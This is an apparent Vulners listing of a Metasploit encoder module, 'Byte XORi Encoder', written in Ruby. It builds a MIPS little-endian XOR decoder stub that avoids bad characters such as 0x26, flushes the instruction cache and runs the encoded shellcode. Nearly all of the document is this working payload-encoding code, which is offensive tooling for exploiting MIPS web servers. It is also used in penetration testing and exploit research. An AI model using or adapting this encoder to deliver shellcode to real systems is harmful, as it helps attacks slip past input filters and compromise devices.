Lucene search
K

Byte XORi Encoder

Byte XORi Encoder. MIPS web server friendly xor encoder based on xori instruction for badchar 0x26 situations

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasm'

class MetasploitModule < Msf::Encoder::Xor
  Rank = NormalRanking

  def initialize
    super(
      'Name'             => 'Byte XORi Encoder',
      'Description'      => %q{
        Mips Web server exploit friendly xor encoder. This encoder has been found useful on
        situations where '&' (0x26) is a badchar. Since 0x26 is the xor's opcode on MIPS
        architectures, this one is based on the xori instruction.
      },
      'Author'           =>
        [
          'Julien Tinnes <julien[at]cr0.org>',  # original longxor encoder, which this one is based on
          'juan vazquez',                       # byte_xori encoder
          'Pedro Ribeiro <[email protected]>',   # fix for Linux >= 2.6.11 (set up cacheflush() args properly)
        ],
      'Arch'             => ARCH_MIPSLE,
      'License'          => MSF_LICENSE,
      'Decoder'          =>
        {
          'KeySize'   => 1,
          'BlockSize' => 1,
          'KeyPack'   => 'C',
        })
  end

  #
  # Returns the decoder stub that is adjusted for the size of the buffer
  # being encoded.
  #
  def decoder_stub(state)

    # add 4 number of passes  for the space reserved for the key, at the end of the decoder stub
    # (see commented source)
    number_of_passes=state.buf.length+4
    raise EncodingError.new("The payload being encoded is too long (#{state.buf.length} bytes)") if number_of_passes > 32766

    # 16-bits not (again, see also commented source)
    reg_14 = (number_of_passes+1)^0xFFFF
    reg_5 = state.buf.length^0xFFFF

    decoder = Metasm::Shellcode.assemble(Metasm::MIPS.new(:little), <<EOS).encoded.data
main:

li macro reg, imm
  addiu reg, $0, imm                     ; 0xYYYYXX24 - xx: reg #, yyyy: imm # imm must be equal or less than 0x7fff
endm

  li      ($14, #{reg_14})               ; 0xXXXX0e24 - store in $14 the number of passes (two's complement) - xxxx (number of passes)
  nor     $14, $14, $0                   ; 0x2770c001 - get in $14 the number of passes
  li      ($11,-84)                      ; 0xacff0b24 - store in $11 the offset to the end of the decoder (two's complement) (from the addu instr)

; acts as getpc
next:
  bltzal  $8, next                       ; 0xffff1005 - branch to next if $8 < 0, store return address in $31 ($ra); pipelining executes next instr.
  slti    $8, $0, 0x#{slti_imm(state)}   ; 0xXXXX0828 - Set $8 = 0; Set $8 = 1 if $0 < imm; else $8 = 0 / xxxx: imm

  nor     $11, $11, $0                   ; 0x27586001 - get in $11 the offset to the end of the decoder (from the addu instr)
  addu    $25, $31, $11                  ; 0x21c8eb03 - get in $25 a pointer to the end of the decoder stub
  addu	  $16, $31, $11		               ; $16 too (used to set up the cacheflush() arg down below)

  slti    $23, $0, 0x#{slti_imm(state)}  ; 0xXXXX1728 - Set $23 = 0 (Set $23 = 1 if $0 < imm; else $23 = 0) / xxxx: imm
  lb      $17, -1($25)                   ; 0xffff3183 - Load xor key in $17 (stored on the last byte of the decoder stub)

; Init $6 and $15
  li      ($13, -4)                      ; 0xfcff0d24 - $13 = -4
  nor     $6, $13, $0                    ; 0x2730a001 - $6 = 3 ; used to easily get the cacheflush parameter
  addi    $15, $6, -2                    ; 0xfeffcf20 - $15 = 1 ($15 = decoding loop counter increment)

; In order avoid null bytes, decode also the xor key, so memory can be
; referenced with offset -1
loop:
  lb      $8, -4($25)                    ; 0xfcff2883 - Load in $8 the byte to decode
  addu    $23, $23, $15                  ; 0x21b8ef02 - Increment the counter ($23)
  xori    $3, $8, 0x#{padded_key(state)} ; 0xf2610339 - xori decoding instruction, store the decoded byte on $3
  #{set_on_less_than(state)}             ; 0xXXf0ee02 - $30 = 1 if $23 < $14; else $30 = 0 (update branch condition) / xx: 0x2b if slti, 0x2a if slt
  sb      $3, -4($25)                    ; 0xfcff23a3 - Store decoded byte on memory
  bne     $0, $30, loop                  ; 0xfaffc017 - branch to loop if $30 != 0 (ranch while bytes to decode)
  addu    $25, $25, $15                  ; 0x21c82f03 - next instruction to decode, executed because of the pipelining

  addiu	$4, $16, -4                      ; cacheflush() addr parameter
  li(      $10,#{reg_5})                 ; cacheflush() nbytes parameter
  nor   $5, $10, $0                      ; same as above

  li      ($2, 4147)                     ; 0x33100224 - cacheflush system call
  syscall 0x52950                        ; 0x0c544a01
  nop                                    ; encoded shellcoded must be here (xor key right here ;) after decoding will result in a nop
EOS

    return decoder
  end


  def padded_key(state, size=1)
    key = Rex::Text.rand_text(size, state.badchars)
    key << [state.key].pack("C")
    return key.unpack("n")[0].to_s(16)
  end

  # Returns an two-bytes immediate value without badchars. The value must be
  # on the 0x8000-0x8fff so it is used as negative value by slti (set less
  # than signed immediate)
  def slti_imm(state)
    imm = Rex::Text.rand_text(2, state.badchars + (0x00..0x7f).to_a.pack("C*"))
    return imm.unpack("n")[0].to_s(16)
  end

  # Since 0x14 contains the number of passes, and because of the li macro, can't be
  # longer than 0x7fff, both sltu (unsigned) and slt (signed) operations can be used
  # here
  def set_on_less_than(state)
    instructions = {
      "sltu   $30, $23, $14" => "\x2b\xf0\xee\x02", # set less than unsigned
      "slt    $30, $23, $14" => "\x2a\xf0\xee\x02"  # set less than
    }

    instructions.each do |k,v|
      if Rex::Text.badchar_index(v, state.badchars) == nil
        return k
      end
    end

    raise BadcharError.new,
          "The #{self.name} encoder failed to encode the decoder stub without bad characters.",
          caller
  end

  def encode_finalize_stub(state, stub)
    # Including the key into the stub by ourselves because it should be located
    # in the last 4 bytes of the decoder stub. In this way decoding will convert
    # these bytes into a nop instruction (0x00000000). The Msf::Encoder only supports
    # one decoder_key_offset position
    real_key = state.key
    stub[-4, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
    stub[-3, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
    stub[-2, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
    stub[-1, state.decoder_key_size] = [ real_key.to_i ].pack(state.decoder_key_pack)
    return stub
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Jan 2024 19:06Current
7.3High risk
Vulners AI Score7.3
19